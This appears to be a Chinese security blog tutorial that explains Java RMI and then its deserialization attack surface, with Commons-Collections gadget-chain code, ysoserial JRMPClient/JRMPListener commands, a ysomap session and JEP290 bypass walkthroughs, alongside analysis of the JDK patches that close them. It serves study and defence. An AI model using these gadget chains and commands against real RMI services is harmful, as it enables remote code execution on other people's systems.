RMI介绍
RMI即远程方法调用,可以让一个JVM调用另一个JVM上的远程类(实现java.rmi.Remote
接口的类)的方法。
这个过程有三个组织参与:client、注册中心(registry)、server。
RMI基础
具体方法是Server将需要暴露的方法作为代理对象(即stub存根,包含服务器host和port),注册到Registry注册中心。然后Client请求Registry来获取这个代理对象(stub),最后根据这个stub中的地址,通过rmi://协议,附上要调用的方法和参数,去请求这个地址(也就是server),server收到后去通过反射进行执行,将执行结果返回给Client。
RMI Registry就像⼀个⽹关,它⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name 到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server;最后,远程⽅法实际上在RMI Server上调⽤。
通俗的讲:
首先,RMIService必须先启动并开始监听对应的端口。
其次,RMIServer将自己提供的服务的实现类注册到RMIService上,并指定一个访问的路径(或者说名称)供RMIClient使用。
最后,RMIClient使用事先知道(或和RMIServer约定好)的路径(或名称)到RMIService上去寻找这个服务,并使用这个服务在本地的接口调用服务的具体方法。
RMI简单示例:
Registry注册中心代码
//创建注册中心代码
try {
LocateRegistry.createRegistry(1099);
} catch (RemoteException e) {
e.printStackTrace();
}
while (true);
服务端代码
1.先创建一个继承java.rmi.Remote的接口
package com.v1nt;
public interface HelloInterface extends java.rmi.Remote{
/* extends了Remote接口的类或者其他接口中的方法且声明抛出了RemoteException异常,
* 则表明该方法可被客户端远程访问调用。
*/
public String sayhello(String from) throws java.rmi.RemoteException;
}
在Java中,只要一个接口类继承了java.rmi.Remote接口,实现了该接口的对象就可成为存在于服务器端的远程对象, 供客户端访问并提供一定的服务。任何远程对象都必须直接或间接实现此接口。
注意:一定要注意包名也要一致,不然会调用不了方法
2.继承UnicastRemoteObject类,实现上面的接口
public class helloImpl extends UnicastRemoteObject implements HelloInterface {
// 这个实现必须有一个显式的构造函数,并且要抛出一个RemoteException异常
protected helloImpl() throws RemoteException {
super();
}
@Override
public String sayhello(String from) throws RemoteException {
System.out.println("sayhello from "+from);
return "sayhello";
}
}
远程对象必须继承java.rmi.server.UniCastRemoteObject类,这样才能保证客户端访问获得远程对象时,该远程对象将会把自身的一个拷贝以Socket的形式传输给客户端,此时客户端所获得的这个拷贝称为“存根”, 而服务器端本身已存在的远程对象则称之为“骨架”。其实此时的存根是客户端的一个代理,用于与服务器端的通信, 而骨架也可认为是服务器端的一个代理,用于接收客户端的请求之后调用远程方法来响应客户端的请求。
为什么一定要有个显式的构造函数,因为我们知道,子类的构造方法会隐形调用父类的无参构造方法,然而这里的父类的UnicastRemoteObject 的无参构造方法有抛出了一个异常RemoteException,所以子类调用了父类的这个构造方法,就需要去接收这个异常,所以这里子类就必须要写个显式的构造函数来接受父类构造方法抛出的异常。
3.写服务端的启动类,用于创建远程对象注册表和注册远程对象
public class helloServer{
public static void main(String[] args) throws RemoteException, MalformedURLException {
helloImpl hello = new helloImpl();
try {
Naming.rebind("rmi://127.0.0.1:1099/hello", hello);
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
Naming类提供存储和获得“远程对象注册表”上远程对象的引用的方法
Naming类中的方法都是通过Registry类对“远程对象注册表”进行操作的,等同于
Registry registry=LocateRegistry.getRegistry(hostName,port);
Hello hello=(Hello)registry.lookup("HelloServer");
实际上Naming类方法封装了Registry接口方法,只需要一个URL就能对“远程对象注册表”进行相关操作
这段代码的作用就是注册远程对象,向客户端提供远程对象服务,远程对象是在远程服务上创建的,虽然我们无法确切地知道远程服务器上的对象的名称 ,但是将远程对象注册到RMI Service之后,客户端就可以通过RMI Service请求 到该远程服务对象的stub了,利用stub代理就可以访问远程服务对象了
客户端代码
1.创建同样的一个继承java.rmi.Remote接口的类
package com.v1nt;
public interface HelloInterface extends java.rmi.Remote{
public String sayhello(String from) throws java.rmi.RemoteException;
}
2.连接注册服务 查找hello对象
public class helloServer{
public static void main(String[] args) throws RemoteException, MalformedURLException {
HelloInterface hello = (HelloInterface);
Naming.lookup("rmi://127.0.0.1:1099/hello");
/* 通过stub调用远程接口实现 */
String ret = hello.sayhello("Client");
System.out.println(ret);
}
}
RMI原理
客户端访问获得远程对象时,该远程对象将会把自身的一个拷贝以Socket的形式传输给客户端,此时客户端所获得的这个拷贝称为“存根”, 而服务器端本身已存在的远程对象则称之为“骨架”。其实此时的存根是客户端的一个代理,用于与服务器端的通信, 而骨架也可认为是服务器端的一个代理,用于接收客户端的请求之后调用远程方法来响应客户端的请求。
RMI的本质就是实现在不同JVM之间的调用,它的实现方法就是在两个JVM中各开一个Stub和Skeleton,二者通过socket通信来实现参数和返回值的传递。
自行实现一个stub和skeleton程序,进一步探索RMI的代理访问原理
1、定义一个Person的接口,其中有两个business method, getAge() 和getName() 2、PersonStub类实现了person接口, 建立socket连接,并向Skeleton发请求,然后通过Skeleton调用PersonServer的方法,最后接收返回的结果。 3、 在skeleton这边创建一个Skeleton类 extends from Thread,它长驻在后台运行,随时接收client发过来的request。并根据发送过来的key去调用相应的method 4、PersonServer中对Person的接口进行了真正的实现,创建PersonServer实例对象,并启动Person_Skeleton服务,执行程序入口 5、Client(PersonClient)的本质是,它要知道Person接口的定义,并实例一个Person_Stub,通过Stub来调用 method,至于Stub怎么去和Server沟通,Client就不用管了。
Person接口代码:
public interface Person {
public int getAge() throws Throwable;
public String getName() throws Throwable;
}
PersonClient代码
public class PersonClient {
public static void main(String [] args) {
try {
Person person = new Person_Stub();
int age = person.getAge();
String name = person.getName(); System.out.println(name + " is " + age + " years old");
} catch(Throwable t) {
t.printStackTrace();
}
}
}
注意它的写法:Person person = new Person_Stub();而不是Person_Stub person = new Person_Stub();因为要面向接口编程,实际上,对于PersonClient来说,它只关注Person接口,而且它的本质就是远程调用Person接口,而Person_Stub只是负责代理PersonClient去与Server交互。
Person_Stub代码
public class Person_Stub implements Person {
private Socket socket;
public Person_Stub() throws Throwable {socket = new Socket("computer_name", 9000); }
public int getAge() throws Throwable {
ObjectOutputStream outStream = new ObjectOutputStream(socket.getOutputStream()); outStream.writeObject("age");
outStream.flush();
ObjectInputStream inStream = new ObjectInputStream(socket.getInputStream()); return inStream.readInt();
}
public String getName() throws Throwable {
ObjectOutputStream outStream = new ObjectOutputStream(socket.getOutputStream()); outStream.writeObject("name");
outStream.flush();
ObjectInputStream inStream = new ObjectInputStream(socket.getInputStream()); return (String)inStream.readObject();
}
}
PersonStub类实现了person接口, 建立socket连接,并向Skeleton发请求,然后通过Skeleton调用PersonServer的方法,最后接收返回的结果
骨架Person_Skeleton代码
public class Person_Skeleton extends Thread {
private PersonServer myServer;
public Person_Skeleton(PersonServer myServer) { this.myServer = myServer; }
@Override
public void run() {
try {
ServerSocket serverSocket = new ServerSocket(9000);
Socket socket = serverSocket.accept();
while (socket != null) {
ObjectInputStream inStream = new ObjectInputStream(socket.getInputStream());
String method = (String)inStream.readObject();
if (method.equals("age")) {
int age = myServer.getAge();
ObjectOutputStream outStream = new ObjectOutputStream(socket.getOutputStream());
outStream.writeInt(age);
outStream.flush();
} }
} catch(Throwable t) {
t.printStackTrace();
System.exit(0);
}
}
}
PersonServer代码
public class PersonServer implements Person {
private int age;
private String name;
public PersonServer(String name, int age) {
this.age = age;
this.name = name;
}
@Override
public int getAge() { return age; }
@Override
public String getName() { return name; }
public static void main(String[] args) {
PersonServer person = new PersonServer("tom", 18);
Person_Skeleton skel = new Person_Skeleton(person);
skel.start();
}
}
PersonServer中对Person的接口进行了真正的实现,创建PersonServer实例对象,并启动Person_Skeleton服务。
至此我们学习了解到RMI的原理实际上是通过Stub和Skeleton二者建立socket通信来实现参数和返回值的传递,以此来达到远程对象的方法调用,那么也证明了RMI Registry注册中心存在的必要性,主要为了给客户端提供绑定关系的相关信息,以便于与RMI server建立连接和调用方法。
RMI攻击面
JRMP
JRMP(Java 远程消息交换协议),是Java的一种通信协议,其中RMI协议中的对象传输部分底层就可以通过JRMP协议实现。
而JRMP传输对象时就是基于序列化来实现的,因此在这个过程中可能会存在一些问题。
RMI 攻击面
1.server进行bind时,registry会对bind()的stub对象的序列化流进行反序列化。如果registry中有对应的反序列化依赖(gadget),则可以进行攻击。
2.client进行lookup时,registry会进行反序列化,client也会对registry返回的数据进行反序列化。因此,理论上,client可以主动攻击registry,registry也可以被动攻击client。
3.client调用远程方法时,server会对client传来的参数数据进行反序列化,client会对server的执行结果进行反序列化。因此client和server也可以互相攻击。
客户端、服务端攻击RMI Registry注册中心
服务端和客户端攻击注册中心的方式是相同的,都是远程获取注册中心后传递一个恶意对象进行利用。 RMI Server的bind()、rebind()、unbind()可以通过绑定一个恶意序列化对象,当Registry中存在对应的Gadget时,可以造成反序列化RCE。 我们以服务端攻击注册中心为例子。
服务端也是向注册中心序列化传输远程对象,那么直接把远程对象改成反序列化Gadget恶意对象,例如这里我们的Gadget为commons-collection链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class}, evalObject));
Naming.rebind("rmi://127.0.0.1:1099/hello", proxyEvalObject);
这里有一个需要注意的点就是调用bind()的时候无法传入AnnotationInvocationHandler类的对象,必须要转为Remote类才行,而AnnotationInvocationHandler本身实现了InvocationHandler接口,再通过代理类封装,可以用class.cast进行类型转换。又因为反序列化存在传递性,当proxyEvalObject被反序列化时,evalObject也会被反序列化,自然也会执行poc链。
来到sun.rmi.registry.RegistryImpl_Skel#dispatch下断点
case 0: //bind(String,Remote)分支 case 1: //list()分支 case 2: //lookup(String)分支 case 3: //rebind(String,Remote)分支 case 4: //unbind(String)分支
在case3的分支里对输入流调用了readObject进行了反序列化
不过有个问题值得思考:服务端向注册端进行bind等操作,是会验证服务端地址是否被注册端允许的(默认是只信任本机地址),那刚刚所讲的这种攻击方式有什么作用?
来到代码位置sun.rmi.registry.RegistryImpl_Skel#dispatch (jdk7)
在8u141之后,JDK代码对于此处验证逻辑发生了变化:变成先验证再反序列化操作了,等于服务端攻击注册端才变为不可用。
所以在jdk8u141之前的版本,服务端还是可以用这种方式攻击注册中心的。
客户端攻击RMI Registry注册中心另一种方式
借助ysoserial工具的JRMPClient模块攻击注册中心
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.102.1 1099 CommonsCollections6 "calc.exe"
原理:RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。 条件:jdk8u121以下及未支持JEP290的java版本
RMI Registry注册中心攻击客户端和服务端
RMI Client的lookup()参数可控时,通过请求恶意Registry,可返回一个恶意序列化对象,结合RMI Client本地的Gadget来攻击Client。
借助ysoserial工具的JRMPListener模块,生成一个恶意的注册中心,当调用注册中心的方法时,就可以进行恶意利用,以此来攻击客户端或者服务端
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "calc"
另外,除了lookup方法,其余的操作也可以利用,如下
list()
bind()
rebind()
unbind()
正是因为如此,同样也可以攻击服务端。
代码位置sun.rmi.registry.RegistryImpl_Stub#lookup
90行调用newCall方法创建socket连接,94行序列化lookup参数,104行反序列化返回值,而此时Registry的返回值是CommonsCollections5的调用链,所以这里直接反序列化就会触发.
客户端攻击RMI服务端
如果注册服务的对象接收一个参数为对象,那么可以传递一个恶意对象进行利用,因为这个恶意对象作为参数调用,在传递的过程中,服务端也需要进行反序列化,比如这里可以传递一个Common-collection反序列化漏洞poc构造出的一个恶意对象作为参数利用:
•利用Object类型参数
服务端代码:
(1)继承了Remote接口的HelloInterface接口
public interface HelloInterface extends java.rmi.Remote{
public String test(Object obj)throws java.rmi.RemoteException;
}
(2)实现了HelloInterface接口的helloImpl类
public class helloImpl extends UnicastRemoteObject implements HelloInterface {
protected helloImpl() throws RemoteException {
super();
}
@Override
public String test(Object obj){
return obj.toString();
}
}
客户端代码:
HelloInterface hello = (HelloInterface) Naming.lookup("rmi://127.0.0.1:1099/hello");
//CC1链序列化生成恶意对象
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class,Class[].class },
new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class,Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[] {"Calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object handler = construct.newInstance(Retention.class, outerMap);
//将恶意序列化对象作为参数传递调用
String str = hello.test(handler);
代码位置sun.rmi.server. UnicastServerRef #oldDispatch
跟进151行处的unmarshalValue方法
isPrimitive方法主要用来判断Class是否为原始类型(boolean、char、byte、short、int、long、float、double)。
在else语句中调用了readObject方法进行了反序列化,从而执行了我们构造的gadget。
上面介绍的是利用object类型参数进行攻击,实际上即使暴露的函数非Object参数类型的,也是可以被攻击的。从上面的unmarshalValue方法中可以看出,如果参数类型为基本类型,是不会执行到下面的else语句执行反序列化的。但是攻击者对rmi客户端是完全可控的,可以用恶意对象替换从Object类派生的参数(例如String)有几种方法:
通过网络代理,在流量层修改数据
自定义 “java.rmi” 包的代码,自行实现
字节码修改
使用 debugger
流量层替换的方式可以参考0c0c0f师傅的这篇文章:
使用java agent的方式可参考afanti师傅的文章:https://www.anquanke.com/post/id/200860,通过RASP hook住java.rmi.server.RemoteObjectInvocationHandler
类的InvokeRemoteMethod
方法的第三个参数非Object的改为Object的gadget
RMI服务端攻击客户端
•跟客户端攻击服务端一样,在客户端调用一个远程方法时,只需要控制返回的对象是一个恶意对象就可以进行反序列化漏洞的利用了。
例如我们将test方法的返回类型改为Object,然后再修改helloImpl类,把Commons-Collection的gadget放进test方法里作为return的结果返回客户端,就会反序列化执行POC链:
上述的几种方法都需要Client、Server本地有对应的Gadget依赖,这种方式有一定的局限。
可以利用Reference对象。比如如下代码:
client会自动去http://localhost/远程获取Calc的class字节码,从而造成针对client的攻击。但是这种方法在8u121之后默认失效。8u121之后会有反序列化白名单限制,且默认无法通过Reference加载远程字节码。
什么是JEP290?
JEP290是来限制能够被反序列化的类,主要包含以下几个机制:
提供一个限制反序列化类的机制,白名单或者黑名单。
限制反序列化的深度和复杂度。
为RMI远程调用对象提供了一个验证类的机制。
定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器。
JEP290支持的版本:JDK 8u121、JDK 7u131、JDK 6u141
JEP 290 通过向 Java 添加多个序列化过滤器引入了 检测反序列化攻击的概念,这些过滤器允许进程在反序列化之前筛选传入的序列化对象流,可以参考oracle官方介绍文档https://docs.oracle.com/javase/10/core/serialization-filtering1.htm
简单来说,就是ysoserial中的所有gadget已经加入黑名单了,底层JDK实现的防御反序列化攻击,其核心在于提供了一个ObjectInputFilter接口,通过设置filter对象,然后在反序列化(ObjectInputStream#readObject)的时候触发filter的检测
Bypass JEP290(jdk8u231之前)
方式一 利用UnicastRef
复现
1.用ysoserial启动一个恶意的JRMPListener(CommonCollections1的链在1.8下用不了,所以这里用了CommonCollections5的)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "calc"
2.启动注册中心
3.启动Client调用bind()操作
客户端TestClient.java
public class TestClient {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(TestClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("Hello",proxy);
}
}
4.注册中心被反序列化攻击
简单分析
如果只是bind一个恶意对象,会抛出错误ObjectInputFilter REJECTED
跟一下.注册中心创建的流程,代码位置RegistryImpl#RegistryImpl()方法处,
实例化UnicastServerRef
时第二个参数传入的是RegistryImpl::registryFilter
。传入之后的值赋值给了this.Filter
,跟进registryFilter
后面返回的内容相当于配置了一个白名单,当传入的类不属于白名单的内容时,则会返回REJECTED
,否则就会返回ALLOWED
。白名单如下:
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
当服务端进行bind()操作时,会执行到UnicastServerRef#oldDispatch()中,在如下位置去调用this.skel.dispatch
绑定服务的
跟进this.unmarshalCustomCallData()
在这里进行了设置过滤,UnicastServerRef.this.filter就是之前实例化的时候所设置的。规则就是之前所说的白名单,不属于那个白名单的类就不允许被反序列化。那么这个过程其实就是Registry
在处理请求的过程中设置了一个过滤器来防范注册中心被反序列化漏洞攻击。
接着向注册中心发起攻击,然后直接在RemoteObject#readObject处下断点
ref获取出来为我们构造的UnicastRef 对象,接着调用UnicastRef 对象的readExternal()方法,跟入
发现调用LiveRef.read()来还原成员变量LiveRef ref属性,跟入
首先恢复一个由我们指定的LiveRef对象,这里是var5,这里有个误区,实际上在调试中发现进入的是图中所示的if语句中的stream.saveRef(ref)
中,而不是直接进入else语句中的 DGCClient.registerRefs(),跟入stream.saveRef(ref)
将构造的ref填入流中的incomingRefTable
字段,再之后返回到RemoteCall#releaseInputStream 统一解析
跟入
再跟入this.in.registerRefs()
开始从incomingRefTable字段中取出ref对象,然后调用DGCClient.registerRefs()
跟入
调用makeDirtyCall()方法,在这方法里会发起DGC客户端的dirty请求
调用 DGC 实现类实际是 DGCImpl_Stub 的dirty
方法进行通信触发反序列化,跟入
建立连接后会从JRMP客户端获取输入流,然后作为参数传入UnicastRef#invoke方法,在其中进行反序列化
简单的总结就是伪造了一个UnicastRef
用于跟注册中心通信,通过UnicastRef对象建立一个JRMP连接,并且这个payload里面的对象都是在白名单里的,所以不会被拦截,另外JRMPListener端将序列化传给注册中心反序列化的过程中没有setObjectInputFilter
,传给注册中心的恶意对象会被反序列化进而攻击成功
方式二 利用传递参数反序列化
其实这个方式跟上述客户端攻击RMI服务端小节中的内容一致,可以直接利用Object类型参数传递进行反序列化攻击,也可以通过以下几种方法用恶意对象替换从Object类派生的参数:
通过网络代理,在流量层修改数据
自定义 “java.rmi” 包的代码,自行实现
字节码修改
使用 debugger
这是因为JEP290默认只为RMI Registry注册中心和RMI分布式垃圾收集器提供了相应的内置过滤器,这两个过滤器都是通过白名单的方式来过滤,从而指定只能反序列化被允许的类。实际上传递参数这块没有这种限制,因为这与RMI服务的逻辑有关,传递参数的类型不可能只为白名单中的那些类,不然的话所有自定义类型的类都不能作为参数调用了,这与实际使用场景相违背。
jdk8u231修复分析
讲jdk版本切换到8u231再次进行攻击,
发现我们JRMP服务端打客户端的反序列化被检测出来了,触发了JEP290机制,提示“ObjectInputFilter REJECTED”
看看是在哪个地方进行的修复,具体代码位置sun.rmi.transport.DGCImpl_Stub#dirty
在dirty方法内添加了setObjectInputFilter过程,从而提前阻止了恶意对象的反序列化
Bypass JEP290(jdk8u231-jdk8u241)
国外安全研究人员@An Trinhs
发现了一个gadgets
利用链,能够直接反序列化UnicastRemoteObject
造成反序列化漏洞,可参考文章:https://mogwailabs.de/en/blog/2020/02/an-trinhs-rmi-registry-bypass/
复现
ysomap工具里面已经集成了这种绕过方式,我们直接拿过来用就可以了,使用里面的RMIConnectWithUnicastRemoteObject模块可以bypass jdk8u231,命令如下:
ysomap > use exploit RMIRegistryExploit
[+] Create a new session.
[+] Created a new exploit(RMIRegistryExploit)
ysomap exploit(RMIRegistryExploit) > use payload RMIConnectWithUnicastRemoteObject
[+] Created a new payload(RMIConnectWithUnicastRemoteObject)
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) > use bullet RMIConnectBullet
[+] Created a new bullet(RMIConnectBullet)
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) bullet(RMIConnectBullet) > set target localhost:1099
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) bullet(RMIConnectBullet) > set rhost 127.0.0.1
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) bullet(RMIConnectBullet) > set rport 3333
ysomap exploit(RMIRegistryExploit) payload(RMIConnectWithUnicastRemoteObject) bullet(RMIConnectBullet) > run
然后照常使用ysoserial在3333端口开启的JRMP服务端返回恶意对象即可
简单分析
在https://mogwailabs.de/en/blog/2020/02/an-trinhs-rmi-registry-bypass/这篇文章中可以看到利用链的开始是利用UnicastRemoteObject.readObject()
首先我们先来看看ysomap工具中是如何生成恶意UnicastRemoteObject对象的,代码位置ysomap/payloads/java/rmi/RMIConnectWithUnicastRemoteObject.java
参数obj实际上是我们要构造的UnicastRef对象,这里我简单画了个图方便理解
最终生成UnicastRemoteObject对象,来看下UnicastRemoteObject#readObject
这里没有太多代码,“defaultReadObject()”方法使用正常的反序列化来填充对象属性,然后调用reexport()方法,跟进
注意这里的ssf
变量为我们可控的,它实际上是一个RMIServerSocketFactory接口,该接口有个createServerSocket方法,在后面的调用栈中调用了不同的exportObject方法后,会来到sun.rmi.transport.tcp.TCPEndpoint#newServerSocket,在这里调用了RMIServerSocketFactory#createServerSocket方法
然后就到了关键的一步,通过动态代理重定向到调用处理程序的invoke方法,这里也就是调用了RemoteObjectInvocationHandler的invoke方法,跟进
在RemoteObjectInvocationHandler的invoke方法里return时调用了invokeRemoteMethod方法,继续跟进
在这里调用了我们构造的UnicastRef的invoke方法,
在这里向JRMP服务端发起了请求,后面就是建立连接以及接收服务端的数据并进行反序列化
总结这条利用利用链可以发现,主要是在UnicastRemoteObject的readObject方法的处理逻辑中,利用了动态代理重定向调用了RemoteObjectInvocationHandler的invoke方法,然后可以调用到RemoteObjectInvocationHandler对象中构造的UnicastRef对象的invoke方法,从而发起JRPM请求连接,并且在这个过程没有设置过滤器进行检查和过滤,从而实现了绕过。
jdk8u241修复
jdk8u241修复主要是在后面的调用RemoteObjectInvocationHandler#invokeRemoteMethod中:
Class<?> decl = method.getDeclaringClass();
if (!Remote.class.isAssignableFrom(decl)) {
throw new RemoteException("Method is not Remote: " + decl + "::" + method);
}
对比发现增加了对传入的method进行验证,按照我们刚刚的利用链,这里的method就是为createServerSocket方法,也就是说不可控的,这个createServerSocket方法对应的类也就是RMIServerSocketFactory类,那么这里肯定不是一个remote接口,于是抛出异常。
Reference
https://www.anquanke.com/post/id/200860
https://su18.org/post/rmi-attack/#1-%E6%94%BB%E5%87%BB-server-%E7%AB%AF
https://paper.seebug.org/1194/#_6
https://cert.360.cn/report/detail?id=add23f0eafd94923a1fa116a76dee0a1